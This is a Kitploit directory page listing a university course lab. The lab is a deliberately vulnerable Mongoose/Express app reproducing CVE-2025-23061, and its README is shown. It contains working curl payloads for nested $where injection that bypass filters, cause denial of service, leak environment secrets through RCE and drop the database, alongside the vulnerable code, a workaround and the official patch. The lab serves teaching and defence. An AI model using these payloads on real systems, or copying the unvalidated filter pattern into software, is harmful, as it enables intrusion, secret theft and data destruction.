Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-23061-usp — Deliberately vulnerable Mongoose/Express lab reproducing CVE-2025-23061 $where injection in populate(match), with payloads, DoS/RCE demos, workaround and 8.9.5 patch. | Kitploit
أدوات/GitHubGitHub/avgustavo/cve-2025-23061-usp
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubavgustavo/cve-2025-23061-usp

cve-2025-23061-usp

Deliberately vulnerable Mongoose/Express lab reproducing CVE-2025-23061 $where injection in populate(match), with payloads, DoS/RCE demos, workaround and 8.9.5 patch.

عرض المستودع
2 ديسمبر 2026لم تتم المراجعة بعد

أدوات ذات صلة

  • nuclei

    ماسح ثغرات سريع يعتمد على YAML مع محرك كشف قائم على القوالب للاختبار الأمني الآلي عبر تطبيقات الويب، وواجهات برمجة التطبيقات (APIs)، والشبكات، وDNS، والبنية التحتية السحابية.

  • zaproxy

    ماسح أمني لتطبيقات الويب مفتوح المصدر للكشف الآلي عن الثغرات الأمنية، واختبار الاختراق اليدوي، واختبار أمان واجهات برمجة التطبيقات (API) باستخدام محرك اعتراض قائم على الوكيل.

  • openvas-scanner

    يحتوي هذا المستودع على مكوّن الماسح الضوئي لإصدار Greenbone Community Edition.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    منصة IMSI Catcher تنشر خلية GSM مارقة لاعتراض الرسائل النصية القصيرة وحقن الرسائل وتتبع الأجهزة المحمولة

    739
  • 3

    Callisto

    jetp1ane/callisto

    أداة تحليل ثغرات ثنائية آلية تقوم بفك ترجمة الملفات التنفيذية عبر Ghidra، ومسح كود شبه-C باستخدام Semgrep، والتحقق من النتائج باستخدام GPT-3.5-Turbo لتقليل الإيجابيات الكاذبة.

    585
  • 4

    opencti

    opencti-platform/opencti

    منصة مفتوحة لاستخبارات التهديدات السيبرانية

    550
  • 5

    DFRoot

    a2333c/dfroot

    أداة root لنظام Android لهاتف Samsung Galaxy S25 Ultra (SM-S938B) تقوم بتسلسل DirtyFrag CVE-2026-43284 وCVE-2026-43499 للحصول على صلاحيات root تلقائيًا عند الإقلاع عبر KernelSU.

    414
  • 6

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    409

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

Lab CVE-2025-23061 — Mongoose populate(match) $where injection

Application deliberately vulnerable to demonstrate CVE-2025-23061 live: JavaScript injection via a nested $where in the match of a Mongoose populate() < 8.9.5 (bypass of the non-recursive patch for CVE-2024-53900).

Cybersecurity course (USP). Isolated, local environment, no real data. The payloads are only valid against the lab itself.

The type of match decides the engine — and the severity

matchWhere $where runsImpact
object {"$or":[{"$where":"…"}]}in mongod (restricted JS engine, no shell)filter bypass/inversion, blind exfiltration, DoS
array [{"$or":[{"$where":"…"}]}]in Node, in memory, by the sift library (new Function)full RCE as root in the container (child_process, require, fs, env, wipe the database) — CVSS 9.0

The array form is the official CVE classification: RCE (CWE-94, Code Injection). The trick is a ternary guarded by global, which passes as benign in mongod (which receives the $where first) and only triggers the gadget when sift re-executes it in Node.


Stack

LayerChoice
BackendNode 22 + Express 4.18 + TypeScript (ts-node-dev) + cors + joi
ODMMongoose 8.9.4 (vulnerable; 8.9.5 = patch via build-arg)
DatabaseMongoDB (mongo:7)
FrontendNext 13.5 (pages router) + React 18.2 + MUI 5.13 + emotion + react-query v4 + axios
OrchestrationDocker Compose (mongo + app + web)
  • Front: http://localhost:3000 · API: http://localhost:4000
  • Domain: movies catalog (Movie ↔ Review). The parent→child relationship makes populate({ match }) natural — and that is where the CVE lives.

1. Prerequisites

  • Docker and Docker Compose v2 (docker compose version).
  • curl and, optionally, jq (to format the JSON responses).
  • Free ports: 3000 (front), 4000 (API), 27017 (mongo).

No Node/Mongo installed on the host — everything runs in containers.

2. Install and start the lab

# 1. Obtenha o projeto e entre na pasta que tem o docker-compose.yml
git clone [email protected]:avgustavo/cve-2025-23061-usp.git && cd cve-2025-23061-usp
#   (ou, se já tem a pasta:  cd caminho/para/cve-2025-23061-usp)

# 2. Suba os três serviços (estado VULNERÁVEL é o default)
docker compose up --build -d

# 3. Acompanhe os logs do backend numa aba (a injeção aparece aqui)
docker compose logs -f app

The app only comes up after the mongo passes the healthcheck, and seeds the database on boot (40 movies + reviews, idempotent). Confirm that it is up:

curl -s http://localhost:4000/health
# {"status":"ok","mongooseVersion":"8.9.4","workaround":false}

Open http://localhost:3000 — movie catalog with search by minimum rating.

If the catalog becomes empty (e.g., after a destructive payload), re-seed it: docker compose exec app yarn seed. The exploit needs reviews in the database — the $where is only evaluated per review; empty database = the gadget never triggers.

3. Where the flaw is

backend/src/controllers/Movie/index.ts → method list:

// reviewFilter vem de req.query.filter (JSON do cliente), SEM validação
const match = WORKAROUND ? stripDangerousOperators(reviewFilter) : reviewFilter;
const movies = await Movie.find().populate({ path: 'reviews', match });

The client's JSON becomes the match of populate() directly. Mongoose's anti-$where check < 8.9.5 only looks at the root and is not recursive: nesting it in $or/$and bypasses it.


4. Testing the exploit

Target: GET /movies?filter=<JSON>. Run the commands below (or use exploit/payloads.http with the REST Client extension, or the Postman collection in exploit/). Full, commented list: exploit/.

The narrative has 6 steps, from normal use to full impact. The type of match determines the engine: an object {...} runs in mongod (restricted); an array [...] runs in Node via sift → RCE.

Step 1 — legitimate use (what the front end does)

curl -sG localhost:4000/movies --data-urlencode 'filter={"rating":{"$gt":4}}'

Step 2 — only $where in the filter (root) → blocked

# O check do patch 8.8.3 pega o $where no nível raiz.
curl -sG localhost:4000/movies --data-urlencode 'filter={"$where":"true"}'
# -> {"error":"Cannot use $where filter with populate() match"}

Step 3 — nested $where → bypass (the CVE)

# Aninhar em $or escapa do check não-recursivo: retorna TODAS as reviews,
# ignorando qualquer filtro/autorização.
curl -sG localhost:4000/movies --data-urlencode 'filter={"$or":[{"$where":"true"}]}'

Step 4 — DoS with sleep(300)

# O JS roda no mongod a cada review; com ~88 reviews a resposta trava ~27s.
curl -sG localhost:4000/movies --data-urlencode 'filter={"$or":[{"$where":"sleep(300)||true"}]}'

Step 5 — read environment variables from memory (array form → RCE)

Note the external [ ]. The gadget reads global.process.env directly from memory and returns the secrets in the response itself (the $where throws the message into a throw; the controller leaks err.message in the 500). No file, no docker exec — this is how a remote attacker would do it.

curl -sG localhost:4000/movies --data-urlencode \
  'filter=[{"$or":[{"$where":"(typeof(global)!=='"'"'undefined'"'"'?global.process:0)?(function(){throw(`💥 RCE via CVE-2025-23061 — segredos lidos direto da memória 💥 MONGO_URL=${global.process.env.MONGO_URL} mongoose=${global.process.env.npm_package_dependencies_mongoose} WORKAROUND=${global.process.env.WORKAROUND} 🚨 Exijo NOTA 10 na apresentação! 🚨`)})():true"}]}]'
# -> {"error":"💥 ... MONGO_URL=mongodb://mongo:27017/movies mongoose=8.9.4 WORKAROUND=off ..."}

Step 6 — 🔥 drop the database (array form → destructive RCE)

Reuses the app's already-open mongoose connection and calls dropDatabase(). The catalog disappears from the front end (press F5 ~1s later). Restore it with yarn seed.

curl -sG localhost:4000/movies --data-urlencode \
  'filter=[{"$or":[{"$where":"(typeof(global)!=='"'"'undefined'"'"'?global.process:0)?global.process.mainModule.require('"'"'mongoose'"'"').connection.dropDatabase():true"}]}]'

# RESTAURE o catálogo:
docker compose exec app yarn seed

5. Fix 1 — palliative workaround (WORKAROUND=on)

Mitigates without changing the vulnerable version. It is ready in the code (backend/src/utils/workaround.ts): the function stripDangerousOperators removes recursively $where/$function/$accumulator/$expr at any depth — closing the nesting bypass and the array form.

# liga o workaround (mesma Mongoose 8.9.4) e reinicia só o app
WORKAROUND=on docker compose up -d app

# confirme
curl -s http://localhost:4000/health
# {"status":"ok","mongooseVersion":"8.9.4","workaround":true}

Now repeat the steps from §4: the bypass (step 3) and the RCEs (steps 5 and 6) fail — the $where is removed before reaching the populate, so nothing executes and the database remains intact.

Why it is only a stopgap: it is a blocklist at the edge. It depends on you knowing every dangerous operator. A more robust version would use joi with an allowlist of expected fields/operators (e.g., only rating with $gt/$lt/$gte/$lte/$eq). To return to the vulnerable state: WORKAROUND=off docker compose up -d app.

6. Definitive solution — official patch (Mongoose 8.9.5)

The real fix is to update the library. Version 8.9.5 makes the anti-$where check recursive (throwOn$where(match)), blocking objects and arrays at any depth. Here the version is a build-arg, so simply rebuild:

تنزيل الأداة